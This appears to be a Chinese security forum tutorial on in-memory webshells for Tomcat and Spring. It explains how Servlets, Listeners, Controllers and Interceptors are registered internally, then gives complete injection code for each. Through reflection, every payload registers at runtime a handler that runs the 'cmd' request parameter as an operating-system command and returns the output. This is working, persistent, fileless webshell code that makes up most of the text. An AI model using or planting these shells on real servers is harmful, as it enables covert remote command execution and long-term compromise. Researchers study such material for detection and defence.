基于tomcat

Servlet内存马

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="false"
>
    <!--注册Servlet-->
    <servlet>
        <servlet-name>hello</servlet-name>
        <servlet-class>com.naihe2.testServlet</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>

testServlet

package com.naihe2;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class testServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("123");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }


}

分析Servlet生成

读取web.xml
ContextConfig#webConfig()

在这里对其xml文件进行读取

ContextConfig#configureContext()

遍历webxml中的内容,将内容赋给新创建的Wrapper

将类名添加到Wrapper

将Wrapper添加到context中

StandardContext.createWapper()

在这里添加映射关系, 将 url 路径和 servlet 类做映射。

加载Servlet

遍历内容,比添加到StandardContext的list中

这里判断loadOnStartup是否大于0,如果大于才会添加

standardWrapper中的loadOnStatup默认为-1

在servlet的配置当中,<load-on-startup>1</load-on-startup>的含义是:
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。</load-on-startup>

由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载

遍历list,加载wrapper

Servlet内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>$Title$</title>
  </head>
  <body>
  <%
    HttpServlet httpServlet = new HttpServlet() {
      @Override
      protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
          resp.getWriter().write(len);
        }
      }

      @Override
      protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
      }
    };

    //获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();

    //从StandardContext.createWapper()获得一个Wapper对象
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = httpServlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(httpServlet);
    newWrapper.setServletClass(httpServlet.getClass().getName());
    //将Wrapper添加到StandardContext
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/demo", name);
  %>

</body>
</html>

直接访问demo发现404

访问index.jsp注入内存马

再次访问demo

Listener内存马

Listener基础

配置Listener

package com.naihe2;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class testListener implements ServletRequestListener {

    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("这里是requestDestroyed");
    }

    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("这里是requestInitialized");
    }
}

xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0"
         metadata-complete="false"
>

    <listener>
        <listener-class>com.naihe2.testListener</listener-class>
    </listener>

</web-app>

流程分析

读取配置文件

读取web.xml,处理后将信息存储在webXml中

配置context

直接遍历并添加至addApplication中

以上步骤就是将webxml中的listener相关的数据添加到ApplicationListener

接下来直接跟进到listenerStart

获取所有listeners

反射生成了一个testListener对象,及我们自定义的Listener

遍历results中的自定义Listener并添加到eventListeners

将eventListeners中的内容添加到applicationEventListenersList属性中,而后期tomcat使用Listener会从applicationEventListenersList中取出

调用过程

在自定义的Listener的requestDestroyed下断点

可以发现tomcat会自动调用fireRequestDestroyEvent,因此我们进入fireRequestDestroyEvent

这里直接获取applicationEventListenersList属性

遍历applicationEventListenersList并强制转为内容为ServletRequestListener类型

这里直接调用 requestDestroyed方法

对应这自定义的Listener

接下来如何动态添加Listener
在上面分析,tomcat是将web.xml中的信息取出在调用 addApplication,将信息添加至applicationListeners,然后再由listenerStart反射生成实例化的Listener,并在需要调用前调用fireRequestDestroyEvent,在间接调用 requestDestroyed方法,但是分析了过程我们依旧无法主动添加Listener因为applicationListeners接收的是字符串而非一个对象。不过天无绝人之路,StandardContext提供了另一个方法
addApplicationEventListener,可以直接添加一个Lisener对象到applicationEventListenersList

由于ServletRequestEvent至提供了ServletRequest,并没有提供Response,因此需要通过反射获取 Response

内存马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.connector.Response" %>

<%!
    public class DemoListener implements ServletRequestListener{

        public void requestDestroyed(ServletRequestEvent sre) {
            org.apache.catalina.connector.RequestFacade req = (org.apache.catalina.connector.RequestFacade)sre.getServletRequest();
            Field requestField = null;
            try {
                requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            } catch (NoSuchFieldException e) {
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            requestField.setAccessible(true);
            Request request = null;
            try {
                request = (Request) requestField.get(req);
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            }
            Response response = request.getResponse();

            try {
                String cmd = request.getParameter("cmd");
                InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedInputStream bis = new BufferedInputStream(is);
                int len;
                while ((len = bis.read())!=-1){
                    response.getWriter().write(len);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
        public void requestInitialized(ServletRequestEvent sre) {
            System.out.println("这里是requestInitialized");
        }
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    DemoListener listener = new DemoListener();
    context.addApplicationEventListener(listener);
%>
</body>
</html>

效果展示

随便访问一个页面

在访问我们的内存马网页
这里我由于代码没有判断cmd是否为空,所以必须输入东西才能正常访问,你懂的

再次访问之前不存在的网页

filter内存马

filter内存马可以参考笔者这篇文章
https://xz.aliyun.com/t/10888

基于spring

controller 内存马

搭建一个sprint项目

配置pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>springmvc</artifactId>
    <packaging>pom</packaging>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
        </dependency> <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.1.9.RELEASE</version>
    </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <version>2.5</version>
        </dependency> <dependency>
        <groupId>javax.servlet.jsp</groupId>
        <artifactId>jsp-api</artifactId>
        <version>2.2</version>
    </dependency>
        <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <version>1.2</version>
    </dependency> </dependencies>
</project>

Demo

package com.naihe.controller;


import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class Cl1 {
    @RequestMapping("/cl1")
    public String hello(String name, Model model){
        model.addAttribute("msg",name);
        return "hello";
    }

}

配置web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app
        xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
        http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
        version="4.0">
    <!--1.注册servlet-->
    <servlet>
        <servlet-name>SpringMVC</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <!--通过初始化参数指定SpringMVC配置文件的位置,进行关联-->
        <init-param> <param-name>contextConfigLocation</param-name>
            <param-value>classpath:springmvc-servlet.xml</param-value>
        </init-param>
        <!-- 启动顺序,数字越小,启动越早 -->
        <load-on-startup>1</load-on-startup>
    </servlet>
    <!--所有请求都会被springmvc拦截 -->
    <servlet-mapping>
        <servlet-name>SpringMVC</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

配置springmvc-servlet.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans
        xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:context="http://www.springframework.org/schema/context"
        xmlns:mvc="http://www.springframework.org/schema/mvc"
        xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context
        https://www.springframework.org/schema/context/spring-context.xsd
        http://www.springframework.org/schema/mvc
        https://www.springframework.org/schema/mvc/spring-mvc.xsd">
    <!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
    <context:component-scan base-package="com.naihe.controller"/>
    <!-- 让Spring MVC不处理静态资源 -->
    <mvc:default-servlet-handler />
    <!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
    要想使@RequestMapping注解生效
    必须向上下文中注册DefaultAnnotationHandlerMapping
    和一个AnnotationMethodHandlerAdapter实例
    这两个实例分别在类级别和方法级别处理。
    而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
    <mvc:annotation-driven />
    <!-- 视图解析器 -->
    <bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest"></bean>
    <bean id="/t1" class="com.naihe.controller.HelloController2"></bean>
    <bean id="/mav" class="com.naihe.controller.Mav"/>
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
        <!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
        <!-- 后缀 -->
        <property name="suffix" value=".jsp" />
    </bean>


</beans>

配置的位置

流程分析

获取context

第一种getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

第二种WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

第三种RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContextWebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

第四种getAttribute
// 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext

获取RequestMappingHandlerMapping

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
虽然获取的是RequestMappingHandlerMapping类
但是RequestMappingHandlerMapping继承自AbstractHandlerMethodMapping
同样拥有register

注册Controller

这里主要是通过register进行注册Controller

可以看到register方法的三个参数的类型

这里主要是映射关系,需要配置url和方法的方式

下面看一下RequestMappingInfo类

构造方法

handler是一个Object类,及自定义的Controller类的实例对象

自定义的Controller类方法的method类

内存马

package com.naihe.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;

@Controller
public class Demo {
    @ResponseBody
    @RequestMapping(value = "/inject", method = RequestMethod.GET)
    public void inject() throws NoSuchMethodException {
        // 1. 利用spring内部方法获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2. 从context中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 3. 通过反射获得自定义 controller 中的 Method 对象
        Method method = InjectToController.class.getMethod("test");

        // 4. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/demo");

        // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

        // 6. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

        InjectToController injectToController = new InjectToController();
        mappingHandlerMapping.registerMapping(info, injectToController, method);
    }
    @ResponseBody
    public class InjectToController {
        public InjectToController(){
        }
        public String test() throws Exception {
            // 获取request
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();

            InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            InputStreamReader isr = new InputStreamReader(is, "UTF-8");
            BufferedReader br = new BufferedReader(isr);
            String str = "";
            String line = "";

            while ((line = br.readLine())!=null){
                str+=line;
            }
            is.close();
            br.close();
            return str;
        }
    }
}

效果

Interceptor内存马

interceptor基础

配置springmvc-servlet.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans
        xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:context="http://www.springframework.org/schema/context"
        xmlns:mvc="http://www.springframework.org/schema/mvc"
        xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd
        http://www.springframework.org/schema/context
        https://www.springframework.org/schema/context/spring-context.xsd
        http://www.springframework.org/schema/mvc
        https://www.springframework.org/schema/mvc/spring-mvc.xsd">
    <!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
    <context:component-scan base-package="com.naihe.controller"/>
    <!-- 让Spring MVC不处理静态资源 -->
    <mvc:default-servlet-handler />
    <!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
    要想使@RequestMapping注解生效
    必须向上下文中注册DefaultAnnotationHandlerMapping
    和一个AnnotationMethodHandlerAdapter实例
    这两个实例分别在类级别和方法级别处理。
    而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
    <mvc:annotation-driven />
    <!-- 视图解析器 -->
    <bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest"></bean>
    <bean id="/t1" class="com.naihe.controller.HelloController2"></bean>
    <bean id="/mav" class="com.naihe.controller.Mav"/>
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
        <!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
        <!-- 后缀 -->
        <property name="suffix" value=".jsp" />
    </bean>
    <mvc:interceptors>
        <mvc:interceptor>
            <!--            配置拦截器拦截路径-->
            <mvc:mapping path="/demo/*"/>
            <!--            注入自定义拦截器-->
            <bean class="com.naihe.Interceptor.MyInterceptor"/>
        </mvc:interceptor>
    </mvc:interceptors>


</beans>

Demo

package com.naihe.Interceptor;


import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MyInterceptor implements HandlerInterceptor {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("拦截器执行");
        request.getRequestDispatcher("/WEB-INF/pages/error.jsp").forward(request,response);
        return true;
    }

    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("控制器执行后执行");
    }

    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("jsp页面执行后执行");
    }
}

hello

这里是后面内存马需要的可访问的页面

package com.naihe.controller;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class hello {
    @ResponseBody
    @RequestMapping("/cl1")
    public String hello(String name, Model model){
        model.addAttribute("msg",name);
        return "hello";
    }

}

流程分析

Interceptor调用

在org.springframework.web.servlet.DispatcherServlet的doDispatch方法下断点

后面会调用mappedHandler.applyPreHandle方法

这里遍历使用的interceptors,并调用其preHandle方法,

添加Interceptor

进入getHandler方法,这里主要是获取Interceptor

进入gethandler

进入getHandlerExecutionChain

这里可以看到将Interceptor遍历出来,在添加到chain

在这里可以看到所有的监听器

在这里观察一下数据结构,发现是MappedInterceptor中包含了url地址和自定义拦截器的实例对象

需要反射创建一个MappedInterceptor对象,并添加上我们的interceptor类和includePatterns

这里判断了访问地址和Interceptor地址是否符合要去,如果不符合的话就不会加载

内存马

package com.naihe.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.MappedInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

@Controller
public class TestInterceptor{
    @ResponseBody
    @RequestMapping(value = "/interceptor", method = RequestMethod.GET)
    public String inject() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
        try{
            // 获取context
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            // 从context中获取AbstractHandlerMapping的实例对象
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");

            // 反射获取adaptedInterceptors属性
            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<HandlerInterceptor> adaptedInterceptors = (java.util.ArrayList<HandlerInterceptor>)field.get(abstractHandlerMapping);

            //生成一个MappedInterceptor对象
            MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/cl1"},null,new InterceptorDemo());

            // 添加到adaptedInterceptors中
            adaptedInterceptors.add(mappedInterceptor);  //  添加全局interceptor

            return "ok";
        } catch (Exception e) {
            return "no";
        }
    }
}

class InterceptorDemo implements HandlerInterceptor {

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        InputStreamReader isr = new InputStreamReader(is, "UTF-8");
        BufferedReader br = new BufferedReader(isr);
        String str = "";
        String line = "";

        while ((line = br.readLine())!=null){
            str+=line;
        }
        is.close();
        br.close();
        response.getWriter().write(str);
        return false;
    }
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
    }

    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
    }
}

效果

访问cl1,注意在这里cl1是必须存在的,前面给了源码

访问一个普通页面,并传参

访问注入界面,注入内存马

再次访问之前的页面

点击收藏 | 5 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖